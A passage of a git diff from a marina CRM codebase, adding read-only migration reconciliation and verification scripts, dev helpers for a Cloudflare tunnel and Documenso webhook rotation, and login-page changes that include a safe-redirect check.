+  for (const b of await legacy`select id, "Mooring_Number" m from plplouets5zw1um."Berths"`)
+    berthMooById.set(b.id as number, b.m as string);
+  const legacyBerthsByInterest = new Map<number, string[]>();
+  for (const j of await legacy`select "Interests_id" i, "Berths_id" b from plplouets5zw1um."_nc_m2m_Berths_Interests"`) {
+    const arr = legacyBerthsByInterest.get(j.i as number) ?? [];
+    const moo = berthMooById.get(j.b as number);
+    if (moo) arr.push(canonMoo(moo));
+    legacyBerthsByInterest.set(j.i as number, arr);
+  }
+
+  // ── ledger ────────────────────────────────────────────────────────────────
+  const ledger =
+    await crm`select source_system, source_id, target_entity_type, target_entity_id from migration_source_links`;
+  const interestLinks = ledger.filter((l) => l.target_entity_type === 'interest'); // sourceId(legacy interest) -> new interest
+  const expenseLinks = ledger.filter((l) => l.target_entity_type === 'expense');
+  const resLinks = ledger.filter((l) => l.target_entity_type === 'residential_client');
+  const clientLinks = ledger.filter((l) => l.target_entity_type === 'client');
+
+  // ── 1. COVERAGE — every legacy row migrated; nothing dropped ──────────────
+  const migratedInterestSrc = new Set(interestLinks.map((l) => Number(l.source_id)));
+  const droppedInterests = [...legacyInterests.keys()].filter((id) => !migratedInterestSrc.has(id));
+  const migratedExpSrc = new Set(expenseLinks.map((l) => Number(l.source_id)));
+  const droppedExp = [...legacyExpenses.keys()].filter((id) => !migratedExpSrc.has(id));
+  const migratedResSrc = new Set(resLinks.map((l) => Number(l.source_id)));
+  const droppedRes = [...legacyRes.keys()].filter((id) => !migratedResSrc.has(id));
+  for (const id of droppedInterests)
+    add(
+      'COVERAGE',
+      `legacy interest #${id} NOT migrated (${(legacyInterests.get(id) as { Full_Name?: string }).Full_Name ?? '?'})`,
+    );
+  for (const id of droppedExp) add('COVERAGE', `legacy expense #${id} NOT migrated`);
+  for (const id of droppedRes) add('COVERAGE', `legacy residential #${id} NOT migrated`);
+
+  // ── 2. INTEREST field fidelity (every migrated deal vs legacy) ────────────
+  const newInterests = await crm`
+    select i.id, i.pipeline_stage, i.lead_category, i.source, i.eoi_status, i.documenso_id, i.client_id, i.yacht_id
+    from interests i where i.port_id=${portId}`;
+  const newInterestById = new Map(newInterests.map((i) => [i.id as string, i]));
+  // berths per new interest
+  const ibRows = await crm`
+    select ib.interest_id, b.mooring_number from interest_berths ib join berths b on b.id=ib.berth_id where b.port_id=${portId}`;
+  const newBerthsByInterest = new Map<string, string[]>();
+  for (const r of ibRows) {
+    const a = newBerthsByInterest.get(r.interest_id as string) ?? [];
+    a.push(r.mooring_number as string);
+    newBerthsByInterest.set(r.interest_id as string, a);
+  }
+  let stageMiss = 0,
+    eoiMiss = 0,
+    docMiss = 0,
+    berthMiss = 0;
+  for (const l of interestLinks) {
+    const legacyRow = legacyInterests.get(Number(l.source_id));
+    const ni = newInterestById.get(l.target_entity_id as string);
+    if (!legacyRow || !ni) {
+      add(
+        'INTEGRITY',
+        `interest link sourceId=${l.source_id} → ${l.target_entity_id}: ${!legacyRow ? 'legacy row missing' : 'new interest missing'}`,
+      );
+      continue;
+    }
+    const lr = legacyRow as Record<string, string>;
+    const exp = expectStage(lr.Sales_Process_Level, lr.Deposit_10__Status);
+    if (ni.pipeline_stage !== exp) {
+      stageMiss++;
+      add(
+        'STAGE',
+        `interest src#${l.source_id} (${lr.Full_Name}): legacy "${lr.Sales_Process_Level}" → expected ${exp}, got ${ni.pipeline_stage}`,
+      );
+    }
+    const expEoi = expectEoi(lr.EOI_Status, lr.LOI_NDA_Document, lr.documensoID);
+    if ((ni.eoi_status ?? null) !== expEoi) {
+      eoiMiss++;
+      add(
+        'EOI',
+        `interest src#${l.source_id} (${lr.Full_Name}): expected eoiStatus ${expEoi}, got ${ni.eoi_status}`,
+      );
+    }
+    if ((ni.documenso_id ?? null) !== ((lr.documensoID ?? '').trim() || null)) {
+      docMiss++;
+      add(
+        'DOCID',
+        `interest src#${l.source_id} (${lr.Full_Name}): documensoId legacy="${lr.documensoID}" vs new="${ni.documenso_id}"`,
+      );
+    }
+    // berth: every legacy-linked mooring should be present on the new interest
+    const legacyMoo = new Set([...(legacyBerthsByInterest.get(Number(l.source_id)) ?? [])]);
+    if (lr.Berth_Number && /^[A-Za-z]+-?0*\d+$/.test(lr.Berth_Number.trim()))
+      legacyMoo.add(canonMoo(lr.Berth_Number));
+    const newMoo = new Set(newBerthsByInterest.get(ni.id as string) ?? []);
+    const missingBerths = [...legacyMoo].filter((m) => !newMoo.has(m));
+    if (missingBerths.length > 0) {
+      berthMiss++;
+      add(
+        'BERTH',
+        `interest src#${l.source_id} (${lr.Full_Name}): legacy berths [${[...legacyMoo].join(',')}] but new has [${[...newMoo].join(',') || '-'}] (missing ${missingBerths.join(',')})`,
+      );
+    }
+  }
+
+  // ── 3. CLIENT contact fidelity (migrated email is from a legacy source row)
+  const clientContacts = await crm`
+    select c.id, c.full_name, string_agg(cc.value, '|') filter (where cc.channel='email') emails
+    from clients c left join client_contacts cc on cc.client_id=c.id
+    where c.port_id=${portId} group by c.id, c.full_name`;
+  const emailsByClient = new Map(
+    clientContacts.map((c) => [
+      c.id as string,
+      (c.emails as string | null)?.split('|').map(normEmail) ?? [],
+    ]),
+  );
+  // group ledger client links: client -> its legacy source emails
+  const legacyEmailsByClient = new Map<string, Set<string>>();
+  for (const l of clientLinks) {
+    const lr = legacyInterests.get(Number(l.source_id)) as Record<string, string> | undefined;
+    const e = normEmail(lr?.Email_Address ?? '');
+    if (!e) continue;
+    const set = legacyEmailsByClient.get(l.target_entity_id as string) ?? new Set();
+    set.add(e);
+    legacyEmailsByClient.set(l.target_entity_id as string, set);
+  }
+  let emailMiss = 0;
+  for (const [cid, legacyEmails] of legacyEmailsByClient) {
+    const newEmails = new Set(emailsByClient.get(cid) ?? []);
+    const missing = [...legacyEmails].filter((e) => !newEmails.has(e));
+    if (missing.length > 0) {
+      emailMiss++;
+      const nm = clientContacts.find((c) => c.id === cid)?.full_name;
+      add(
+        'EMAIL',
+        `client ${nm}: legacy email(s) [${[...legacyEmails].join(',')}] not all on client (have [${[...newEmails].join(',') || '-'}])`,
+      );
+    }
+  }
+
+  // ── 4. RELATIONSHIP integrity (orphans / dangling FKs) ────────────────────
+  const orphanInterests =
+    await crm`select count(*) n from interests i where i.port_id=${portId} and not exists (select 1 from clients c where c.id=i.client_id)`;
+  const orphanIB =
+    await crm`select count(*) n from interest_berths ib where not exists (select 1 from interests i where i.id=ib.interest_id) or not exists (select 1 from berths b where b.id=ib.berth_id)`;
+  const orphanDocs =
+    await crm`select count(*) n from documents d where d.port_id=${portId} and d.interest_id is not null and not exists (select 1 from interests i where i.id=d.interest_id)`;
+  const orphanYachts =
+    await crm`select count(*) n from yachts y where y.port_id=${portId} and y.current_owner_type='client' and not exists (select 1 from clients c where c.id=y.current_owner_id)`;
+  const danglingSignedFile =
+    await crm`select count(*) n from documents d where d.signed_file_id is not null and not exists (select 1 from files f where f.id=d.signed_file_id)`;
+  if (Number(orphanInterests[0]!.n) > 0)
+    add('INTEGRITY', `${orphanInterests[0]!.n} interests with no client`);
+  if (Number(orphanIB[0]!.n) > 0)
+    add('INTEGRITY', `${orphanIB[0]!.n} interest_berths with dangling FK`);
+  if (Number(orphanDocs[0]!.n) > 0)
+    add('INTEGRITY', `${orphanDocs[0]!.n} documents with dangling interest`);
+  if (Number(orphanYachts[0]!.n) > 0)
+    add('INTEGRITY', `${orphanYachts[0]!.n} yachts with missing owner`);
+  if (Number(danglingSignedFile[0]!.n) > 0)
+    add('INTEGRITY', `${danglingSignedFile[0]!.n} documents with dangling signed_file_id`);
+
+  // ── report ────────────────────────────────────────────────────────────────
+  console.log('═══════════ MIGRATION RECONCILIATION ═══════════\n');
+  console.log(
+    `Coverage:  legacy interests ${legacyInterests.size} → migrated ${migratedInterestSrc.size} (dropped ${droppedInterests.length})`,
+  );
+  console.log(
+    `           legacy expenses ${legacyExpenses.size} → migrated ${migratedExpSrc.size} (dropped ${droppedExp.length})`,
+  );
+  console.log(
+    `           legacy residential ${legacyRes.size} → migrated ${migratedResSrc.size} (dropped ${droppedRes.length})`,
+  );
+  console.log(
+    `Fidelity:  stage mismatches ${stageMiss} · eoiStatus ${eoiMiss} · documensoId ${docMiss} · berth-link ${berthMiss} · client-email ${emailMiss}`,
+  );
+  console.log(
+    `Integrity: orphan interests ${orphanInterests[0]!.n} · interest_berths ${orphanIB[0]!.n} · docs ${orphanDocs[0]!.n} · yachts ${orphanYachts[0]!.n} · signed-file ${danglingSignedFile[0]!.n}`,
+  );
+  console.log(`\nTotal discrepancies: ${issues.length}`);
+  const byCat = issues.reduce<Record<string, number>>((a, s) => {
+    const c = s.slice(1, s.indexOf(']'));
+    a[c] = (a[c] || 0) + 1;
+    return a;
+  }, {});
+  console.log('By category:', JSON.stringify(byCat));
+  console.log('\n── discrepancy detail (first 60) ──');
+  for (const i of issues.slice(0, 60)) console.log('  ' + i);
+  if (issues.length > 60) console.log(`  … +${issues.length - 60} more`);
+
+  await crm.end();
+  await legacy.end();
+  process.exit(0);
+}
+
+main().catch(async (e) => {
+  console.error('reconcile failed:', e);
+  await crm.end().catch(() => {});
+  await legacy.end().catch(() => {});
+  process.exit(1);
+});

scripts/migration/verify-migration.ts

@@ -0,0 +1,210 @@
+/**
+ * Migration verification / audit (read-only against the local dev DB + storage).
+ *
+ *  1. EOI PDF ↔ person: opens each attached signed-EOI PDF, extracts its text,
+ *     and confirms the linked client's name actually appears inside — catching
+ *     any wrong attachment from the name/fuzzy matcher. Flags any PDF where a
+ *     *different* client's name appears instead.
+ *  2. Berth PDF ↔ mooring: confirms each berth's spec-sheet PDF mentions its
+ *     mooring number.
+ *  3. Per-person completeness: clients missing contact info, deals missing a
+ *     stage, clients with no deal, + a sample full dump to eyeball.
+ *
+ *   pnpm tsx scripts/migration/verify-migration.ts [--port-slug port-nimara]
+ */
+import 'dotenv/config';
+import { readFile } from 'node:fs/promises';
+import path from 'node:path';
+import { extractText, getDocumentProxy } from 'unpdf';
+import { and, eq, isNotNull, sql } from 'drizzle-orm';
+
+import { db, closeDb } from '@/lib/db';
+import { ports } from '@/lib/db/schema/ports';
+import { documents, files } from '@/lib/db/schema/documents';
+import { clients } from '@/lib/db/schema/clients';
+import { berths, berthPdfVersions } from '@/lib/db/schema/berths';
+
+const STORAGE_ROOT = process.env.STORAGE_ROOT || 'storage';
+const slugArg = (() => {
+  const i = process.argv.indexOf('--port-slug');
+  return i >= 0 ? (process.argv[i + 1] ?? 'port-nimara') : 'port-nimara';
+})();
+
+const norm = (s: string) =>
+  s
+    .toLowerCase()
+    .normalize('NFKD')
+    .replace(/[^a-z ]/g, ' ')
+    .replace(/\s+/g, ' ')
+    .trim();
+
+async function pdfText(storagePath: string): Promise<string> {
+  const buf = await readFile(path.join(STORAGE_ROOT, storagePath));
+  const pdf = await getDocumentProxy(new Uint8Array(buf));
+  const res = await extractText(pdf, { mergePages: true });
+  const t = Array.isArray(res.text) ? res.text.join(' ') : res.text;
+  return norm(t);
+}
+
+async function main() {
+  const [port] = await db
+    .select({ id: ports.id, slug: ports.slug })
+    .from(ports)
+    .where(eq(ports.slug, slugArg))
+    .limit(1);
+  if (!port) throw new Error(`no port ${slugArg}`);
+
+  const allNames = (
+    await db
+      .select({ id: clients.id, name: clients.fullName })
+      .from(clients)
+      .where(eq(clients.portId, port.id))
+  ).map((c) => ({
+    id: c.id,
+    tokens: norm(c.name)
+      .split(' ')
+      .filter((t) => t.length >= 4),
+    name: c.name,
+  }));
+
+  // ── 1. EOI PDF ↔ person ──────────────────────────────────────────────────
+  const eoiRows = await db
+    .select({
+      docId: documents.id,
+      clientId: documents.clientId,
+      fullName: clients.fullName,
+      storagePath: files.storagePath,
+    })
+    .from(documents)
+    .innerJoin(files, eq(files.id, documents.signedFileId))
+    .innerJoin(clients, eq(clients.id, documents.clientId))
+    .where(
+      and(
+        eq(documents.portId, port.id),
+        eq(documents.documentType, 'eoi'),
+        isNotNull(documents.signedFileId),
+      ),
+    );
+
+  console.log(`\n═══ 1. EOI PDF ↔ person (${eoiRows.length} attached signed EOIs) ═══`);
+  let ok = 0,
+    weak = 0,
+    bad = 0,
+    err = 0;
+  for (const r of eoiRows) {
+    try {
+      const text = await pdfText(r.storagePath);
+      const tokens = norm(r.fullName)
+        .split(' ')
+        .filter((t) => t.length >= 3);
+      const first = tokens[0];
+      const last = tokens[tokens.length - 1];
+      const hasFirst = !!first && text.includes(first);
+      const hasLast = !!last && text.includes(last);
+      if (hasFirst && hasLast) {
+        ok++;
+      } else if (hasFirst || hasLast) {
+        weak++;
+        console.log(
+          `  ⚠ WEAK  "${r.fullName}" — only ${hasLast ? 'surname' : 'first name'} found in its PDF`,
+        );
+      } else {
+        bad++;
+        const other = allNames.find(
+          (c) => c.id !== r.clientId && c.tokens.some((t) => text.includes(t)),
+        );
+        console.log(
+          `  ✗ BAD   "${r.fullName}" — name NOT in its PDF${other ? ` — but "${other.name}" DOES appear (likely mis-attached!)` : ''}`,
+        );
+      }
+    } catch (e) {
+      err++;
+      console.log(`  ! ERR   "${r.fullName}": ${(e as Error).message}`);
+    }
+  }
+  console.log(`  → strong ${ok} · weak ${weak} · NO-match ${bad} · read-error ${err}`);
+
+  // ── 2. Berth PDF ↔ mooring ───────────────────────────────────────────────
+  const berthRows = await db
+    .select({ mooring: berths.mooringNumber, storageKey: berthPdfVersions.storageKey })
+    .from(berths)
+    .innerJoin(berthPdfVersions, eq(berthPdfVersions.id, berths.currentPdfVersionId))
+    .where(eq(berths.portId, port.id));
+  console.log(`\n═══ 2. Berth PDF ↔ mooring (${berthRows.length} berths with a PDF) ═══`);
+  let bOk = 0,
+    bBad = 0,
+    bErr = 0;
+  for (const r of berthRows) {
+    try {
+      const text = await pdfText(r.storageKey);
+      // mooring like "A1"/"D32" — match letter+space?+number loosely
+      const moo = r.mooring.toLowerCase();
+      const m = moo.match(/^([a-z]+)(\d+)$/);
+      const found =
+        text.includes(moo) ||
+        (m && text.includes(`${m[1]} ${m[2]}`)) ||
+        (m && new RegExp(`${m[1]}\\s*${m[2]}\\b`).test(text));
+      if (found) bOk++;
+      else {
+        bBad++;
+        console.log(`  ✗ "${r.mooring}" mooring not found in its spec sheet`);
+      }
+    } catch (e) {
+      bErr++;
+      console.log(`  ! ERR ${r.mooring}: ${(e as Error).message}`);
+    }
+  }
+  console.log(`  → mooring-in-PDF ${bOk} · not-found ${bBad} · read-error ${bErr}`);
+
+  // ── 3. Per-person completeness ───────────────────────────────────────────
+  console.log(`\n═══ 3. Per-person data completeness (migrated clients) ═══`);
+  const noContact = await db.execute(sql`
+    select c.full_name from clients c
+    join migration_source_links l on l.target_entity_id=c.id and l.target_entity_type='client'
+    where not exists (select 1 from client_contacts cc where cc.client_id=c.id)`);
+  console.log(`  clients with NO contact (email/phone): ${noContact.length}`);
+  for (const r of noContact.slice(0, 15))
+    console.log(`     - ${(r as { full_name: string }).full_name}`);
+
+  const noDeal = await db.execute(sql`
+    select c.full_name from clients c
+    join migration_source_links l on l.target_entity_id=c.id and l.target_entity_type='client'
+    where not exists (select 1 from interests i where i.client_id=c.id)`);
+  console.log(`  migrated clients with NO deal: ${noDeal.length}`);
+
+  const noStage = await db.execute(sql`
+    select count(*) n from interests i
+    join migration_source_links l on l.target_entity_id=i.id and l.target_entity_type='interest'
+    where i.pipeline_stage is null`);
+  console.log(`  migrated deals with NULL stage: ${(noStage[0] as { n: number }).n}`);
+
+  // sample full dump to eyeball
+  console.log(`\n  -- sample of 6 migrated clients (eyeball) --`);
+  const sample = await db.execute(sql`
+    select c.full_name,
+      (select string_agg(cc.channel||':'||cc.value, ', ') from client_contacts cc where cc.client_id=c.id) contacts,
+      (select count(*) from interests i where i.client_id=c.id) deals,
+      (select string_agg(distinct i.pipeline_stage, ',') from interests i where i.client_id=c.id) stages
+    from clients c
+    join migration_source_links l on l.target_entity_id=c.id and l.target_entity_type='client'
+    order by deals desc nulls last limit 6`);
+  for (const r of sample as unknown as Array<{
+    full_name: string;
+    contacts: string;
+    deals: number;
+    stages: string;
+  }>) {
+    console.log(
+      `     ${r.full_name} · ${r.deals} deal(s) [${r.stages}] · ${r.contacts ?? '(no contacts)'}`,
+    );
+  }
+
+  await closeDb();
+  process.exit(0);
+}
+
+main().catch(async (e) => {
+  console.error('verify failed:', e);
+  await closeDb().catch(() => {});
+  process.exit(1);
+});

scripts/tunnel-url.sh

@@ -0,0 +1,64 @@
+#!/usr/bin/env bash
+# Print the current Cloudflare quick-tunnel URL, or a clear status line
+# if the launchd job isn't running.
+#
+# Usage:
+#   ./scripts/tunnel-url.sh           # print URL or status
+#   ./scripts/tunnel-url.sh --copy    # print URL and copy to clipboard
+#
+# Paired with the launchd plist at:
+#   ~/Library/LaunchAgents/solutions.letsbe.pn-crm-tunnel.plist
+#
+# Quick ops:
+#   launchctl load   ~/Library/LaunchAgents/solutions.letsbe.pn-crm-tunnel.plist  # start
+#   launchctl unload ~/Library/LaunchAgents/solutions.letsbe.pn-crm-tunnel.plist  # stop
+#   launchctl kickstart -k gui/$(id -u)/solutions.letsbe.pn-crm-tunnel             # restart (NEW URL)
+
+set -euo pipefail
+
+LOG_FILE="$HOME/Library/Logs/pn-crm-tunnel.err.log"
+LABEL="solutions.letsbe.pn-crm-tunnel"
+
+if ! launchctl print "gui/$(id -u)/$LABEL" >/dev/null 2>&1; then
+    echo "Tunnel is not loaded. Start with:"
+    echo "  launchctl load ~/Library/LaunchAgents/$LABEL.plist"
+    exit 1
+fi
+
+if [[ ! -f "$LOG_FILE" ]]; then
+    echo "Tunnel job is loaded but hasn't produced a log yet. Try again in a few seconds."
+    exit 1
+fi
+
+# cloudflared prints the public URL once on startup, like:
+#   https://<words>.trycloudflare.com
+# Take the most recent occurrence so a restart-then-rerun picks the
+# current one rather than a stale earlier line.
+URL=$(grep -Eo 'https://[a-z0-9-]+\.trycloudflare\.com' "$LOG_FILE" | tail -1 || true)
+
+if [[ -z "$URL" ]]; then
+    echo "Tunnel is running but no URL has appeared in the log yet."
+    echo "Tail it:  tail -f $LOG_FILE"
+    exit 1
+fi
+
+echo "$URL"
+echo "$URL/api/webhooks/documenso  ← paste this into Documenso webhook settings"
+
+if [[ "${1:-}" == "--copy" ]]; then
+    printf "%s/api/webhooks/documenso" "$URL" | pbcopy
+    echo "(webhook URL copied to clipboard)"
+fi
+
+# Auto-PATCH Documenso's webhook URL when the env flag is set. Gated so
+# production ports can never have their webhook rotated by a stale dev
+# script. The TS script reads DOCUMENSO_API_URL + DOCUMENSO_API_KEY +
+# DOCUMENSO_API_VERSION from .env and updates every webhook whose URL
+# already points at our path OR at any *.trycloudflare.com host.
+if [[ "${DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK:-}" == "1" ]]; then
+    echo ""
+    echo "DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1 — updating Documenso webhook(s)…"
+    cd "$(dirname "$0")/.." || exit 1
+    DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1 \
+        pnpm tsx scripts/update-documenso-webhook.ts "$URL"
+fi

scripts/update-documenso-webhook.ts

@@ -0,0 +1,194 @@
+/**
+ * Documenso webhook URL auto-updater. Called by `./scripts/tunnel-url.sh`
+ * when the env flag `DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1` is set so a
+ * freshly-restarted cloudflared quick-tunnel (which gets a NEW hostname
+ * on every restart) doesn't leave Documenso pointing at a dead URL.
+ *
+ * Gated by env flag so production ports — which may have a stable
+ * webhook URL — can never have their config rotated by a stale dev
+ * script. Reads Documenso credentials from env (DOCUMENSO_API_URL +
+ * DOCUMENSO_API_KEY + optional DOCUMENSO_API_VERSION).
+ *
+ * Usage (manual invocation):
+ *   DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1 pnpm tsx scripts/update-documenso-webhook.ts https://foo.trycloudflare.com
+ *
+ * Behaviour:
+ *   - Lists every webhook currently configured on the Documenso
+ *     instance.
+ *   - Identifies webhooks whose `webhookUrl` looks like a
+ *     trycloudflare.com domain OR matches our `/api/webhooks/documenso`
+ *     path suffix. These are the ones to rotate.
+ *   - PATCHes each matching webhook to point at the new tunnel URL.
+ *   - Leaves all other webhooks alone (in case the instance also
+ *     services another tenant or a stable production URL).
+ *
+ * Tries Documenso v2 first, falls back to v1 if the v2 endpoint
+ * returns 404. Both versions support GET /webhook(s) + PATCH on the
+ * webhook resource — the shape differs slightly between them but the
+ * fields we touch (`id`, `webhookUrl`) are stable across versions.
+ */
+
+import 'dotenv/config';
+
+const ENABLE_FLAG = process.env.DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK;
+const TUNNEL_BASE = process.argv[2];
+
+if (ENABLE_FLAG !== '1') {
+  console.log(
+    'DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK is not set to 1 — skipping Documenso webhook update.',
+  );
+  process.exit(0);
+}
+
+if (!TUNNEL_BASE) {
+  console.error('Usage: pnpm tsx scripts/update-documenso-webhook.ts <tunnel-base-url>');
+  console.error(
+    'Example: pnpm tsx scripts/update-documenso-webhook.ts https://foo.trycloudflare.com',
+  );
+  process.exit(1);
+}
+
+const API_URL = process.env.DOCUMENSO_API_URL;
+const API_KEY = process.env.DOCUMENSO_API_KEY;
+const API_VERSION = (process.env.DOCUMENSO_API_VERSION ?? 'v2').toLowerCase();
+
+if (!API_URL || !API_KEY) {
+  console.error('DOCUMENSO_API_URL and DOCUMENSO_API_KEY must be set in env to update webhooks.');
+  process.exit(1);
+}
+
+// Trim trailing slash so we can compose paths cleanly.
+const BASE = API_URL.replace(/\/+$/, '');
+const NEW_WEBHOOK_URL = `${TUNNEL_BASE.replace(/\/+$/, '')}/api/webhooks/documenso`;
+
+async function documensoRequest(path: string, init?: RequestInit): Promise<Response> {
+  return fetch(`${BASE}${path}`, {
+    ...init,
+    headers: {
+      'Content-Type': 'application/json',
+      Authorization: API_KEY!,
+      ...(init?.headers ?? {}),
+    },
+  });
+}
+
+interface DocumensoWebhook {
+  id: string | number;
+  webhookUrl: string;
+}
+
+/**
+ * Pluck the array of webhooks out of whatever shape the Documenso
+ * version returned. v1 historically returned an array directly; v2
+ * tends to wrap in `{ data: [...] }` or similar. Be tolerant.
+ */
+function extractWebhooks(raw: unknown): DocumensoWebhook[] {
+  if (Array.isArray(raw)) return raw as DocumensoWebhook[];
+  if (raw && typeof raw === 'object') {
+    const r = raw as Record<string, unknown>;
+    if (Array.isArray(r.data)) return r.data as DocumensoWebhook[];
+    if (Array.isArray(r.webhooks)) return r.webhooks as DocumensoWebhook[];
+  }
+  return [];
+}
+
+async function listWebhooks(): Promise<{ webhooks: DocumensoWebhook[]; version: 'v1' | 'v2' }> {
+  if (API_VERSION === 'v2' || API_VERSION === 'v2.0' || API_VERSION === 'v2.x') {
+    const res = await documensoRequest('/api/v2/webhook');
+    if (res.ok) {
+      const body = (await res.json()) as unknown;
+      return { webhooks: extractWebhooks(body), version: 'v2' };
+    }
+    if (res.status !== 404) {
+      console.error(`v2 webhook list returned ${res.status}: ${await res.text()}`);
+    }
+    // Fall through to v1.
+  }
+  const res = await documensoRequest('/api/v1/webhooks');
+  if (!res.ok) {
+    console.error(`v1 webhook list returned ${res.status}: ${await res.text()}`);
+    process.exit(1);
+  }
+  const body = (await res.json()) as unknown;
+  return { webhooks: extractWebhooks(body), version: 'v1' };
+}
+
+async function patchWebhook(
+  version: 'v1' | 'v2',
+  webhook: DocumensoWebhook,
+  newUrl: string,
+): Promise<boolean> {
+  const path =
+    version === 'v2'
+      ? '/api/v2/webhook'
+      : `/api/v1/webhooks/${encodeURIComponent(String(webhook.id))}`;
+  const body = version === 'v2' ? { id: webhook.id, webhookUrl: newUrl } : { webhookUrl: newUrl };
+  const res = await documensoRequest(path, {
+    method: 'PATCH',
+    body: JSON.stringify(body),
+  });
+  if (!res.ok) {
+    console.error(`PATCH ${path} (id=${webhook.id}) returned ${res.status}: ${await res.text()}`);
+    return false;
+  }
+  return true;
+}
+
+/**
+ * Decide whether a given existing webhook is "ours" (i.e. matches the
+ * pattern we want to rotate). Two signals:
+ *   1. Path tail matches `/api/webhooks/documenso` — the CRM-side
+ *      handler we own.
+ *   2. Host matches `*.trycloudflare.com` — almost certainly a stale
+ *      quick-tunnel URL. Rotating these is always safe.
+ */
+function isRotatableWebhook(w: DocumensoWebhook): boolean {
+  if (!w.webhookUrl) return false;
+  if (w.webhookUrl.endsWith('/api/webhooks/documenso')) return true;
+  try {
+    const host = new URL(w.webhookUrl).hostname;
+    if (host.endsWith('.trycloudflare.com')) return true;
+  } catch {
+    /* malformed — leave alone */
+  }
+  return false;
+}
+
+async function main(): Promise<void> {
+  console.log(`Listing webhooks via Documenso ${API_VERSION.toUpperCase()} (base: ${BASE})…`);
+  const { webhooks, version } = await listWebhooks();
+  console.log(`Found ${webhooks.length} webhook(s).`);
+
+  const rotatable = webhooks.filter(isRotatableWebhook);
+  if (rotatable.length === 0) {
+    console.log(
+      `No rotatable webhooks found (looking for paths ending /api/webhooks/documenso or *.trycloudflare.com hosts).`,
+    );
+    console.log(`If your dev webhook is configured differently, point it at: ${NEW_WEBHOOK_URL}`);
+    return;
+  }
+
+  console.log(`Updating ${rotatable.length} webhook(s) to ${NEW_WEBHOOK_URL}…`);
+  let ok = 0;
+  let fail = 0;
+  for (const w of rotatable) {
+    if (w.webhookUrl === NEW_WEBHOOK_URL) {
+      console.log(`  ${w.id}: already at the target URL, skipping.`);
+      continue;
+    }
+    const succeeded = await patchWebhook(version, w, NEW_WEBHOOK_URL);
+    if (succeeded) {
+      ok++;
+      console.log(`  ${w.id}: ${w.webhookUrl} -> ${NEW_WEBHOOK_URL}`);
+    } else {
+      fail++;
+    }
+  }
+  console.log(`Done. ${ok} updated, ${fail} failed.`);
+  if (fail > 0) process.exit(1);
+}
+
+main().catch((err) => {
+  console.error('Documenso webhook update failed:', err);
+  process.exit(1);
+});

src/app/(auth)/layout.tsx

@@ -1,12 +1,16 @@
 import type { Metadata } from 'next';
 
+import { AuthBrandingProvider } from '@/components/shared/auth-branding-provider';
+import { resolveAuthShellBranding } from '@/lib/email/auth-shell-branding';
+
 export const metadata: Metadata = {
   title: {
     default: 'Sign In',
-    template: '%s | Port Nimara CRM',
+    template: '%s',
   },
 };
 
-export default function AuthLayout({ children }: { children: React.ReactNode }) {
-  return <>{children}</>;
+export default async function AuthLayout({ children }: { children: React.ReactNode }) {
+  const branding = await resolveAuthShellBranding();
+  return <AuthBrandingProvider branding={branding}>{children}</AuthBrandingProvider>;
 }

src/app/(auth)/login/page.tsx

@@ -1,7 +1,7 @@
 'use client';
 
 import { useEffect, useState } from 'react';
-import { useRouter } from 'next/navigation';
+import { useRouter, useSearchParams } from 'next/navigation';
 import Link from 'next/link';
 import { useForm } from 'react-hook-form';
 import { zodResolver } from '@hookform/resolvers/zod';
@@ -12,11 +12,14 @@ import { Button } from '@/components/ui/button';
 import { Input } from '@/components/ui/input';
 import { Label } from '@/components/ui/label';
 import { BrandedAuthShell } from '@/components/shared/branded-auth-shell';
+import { useAuthBranding } from '@/components/shared/auth-branding-provider';
+import { FormErrorSummary } from '@/components/forms/form-error-summary';
+import { useFormScrollToError } from '@/hooks/use-form-scroll-to-error';
 
 // `identifier` accepts either an email address or a username (3–30 lowercase
 // letters / digits / dot / underscore / hyphen). The server endpoint
 // /api/auth/sign-in-by-identifier resolves the username server-side and
-// forwards to better-auth in one round-trip — the canonical email is never
+// forwards to better-auth in one round-trip - the canonical email is never
 // returned to the browser, which closes the username-enumeration vector.
 const loginSchema = z.object({
   identifier: z.string().min(1, 'Email or username is required'),
@@ -25,8 +28,27 @@ const loginSchema = z.object({
 
 type LoginFormData = z.infer<typeof loginSchema>;
 
+/**
+ * H-02: Validate a redirect target before pushing the user to it. The
+ * middleware appends `?redirect=<path>` when a session check fails on a
+ * protected route; an unsanitized router.push of that value would let a
+ * crafted URL bounce the user to an external host or protocol-relative
+ * `//evil.com` after a successful sign-in. Only same-origin, single-leading-
+ * slash paths pass.
+ */
+function safeRedirectTarget(raw: string | null): string {
+  if (!raw) return '/dashboard';
+  // Allow only paths starting with a single `/` (rules out `//evil.com`
+  // protocol-relative URLs and `https://…` absolute ones).
+  if (!raw.startsWith('/') || raw.startsWith('//')) return '/dashboard';
+  return raw;
+}
+
 export default function LoginPage() {
   const router = useRouter();
+  const branding = useAuthBranding();
+  const appName = branding?.appName?.trim() || 'CRM';
+  const searchParams = useSearchParams();
   const [isLoading, setIsLoading] = useState(false);
 
   // Fresh-DB bootstrap detection: if no super-admin exists yet, /setup
@@ -41,7 +63,7 @@ export default function LoginPage() {
         if (payload.data?.needsBootstrap) router.replace('/setup');
       })
       .catch(() => {
-        /* silent — login UX must still work even if status check fails */
+        /* silent - login UX must still work even if status check fails */
       });
     return () => {
       cancelled = true;
@@ -55,6 +77,7 @@ export default function LoginPage() {
   } = useForm<LoginFormData>({
     resolver: zodResolver(loginSchema),
   });
+  const submitWithScroll = useFormScrollToError(handleSubmit, errors);
 
   async function onSubmit(data: LoginFormData) {
     setIsLoading(true);
@@ -76,7 +99,8 @@ export default function LoginPage() {
         return;
       }
 
-      router.push('/dashboard');
+      // eslint-disable-next-line @typescript-eslint/no-explicit-any
+      router.push(safeRedirectTarget(searchParams.get('redirect')) as any);
     } catch {
       toast.error('Something went wrong. Please try again.');
     } finally {
@@ -87,11 +111,15 @@ export default function LoginPage() {
   return (
     <BrandedAuthShell>
       <div className="text-center mb-6">
-        <h1 className="text-xl font-semibold text-gray-900">Port Nimara CRM</h1>
+        <h1 className="text-xl font-semibold text-gray-900">{appName}</h1>
         <p className="text-sm text-gray-500 mt-1">Sign in to continue</p>
       </div>
 
-      <form onSubmit={handleSubmit(onSubmit)} className="space-y-4" noValidate>
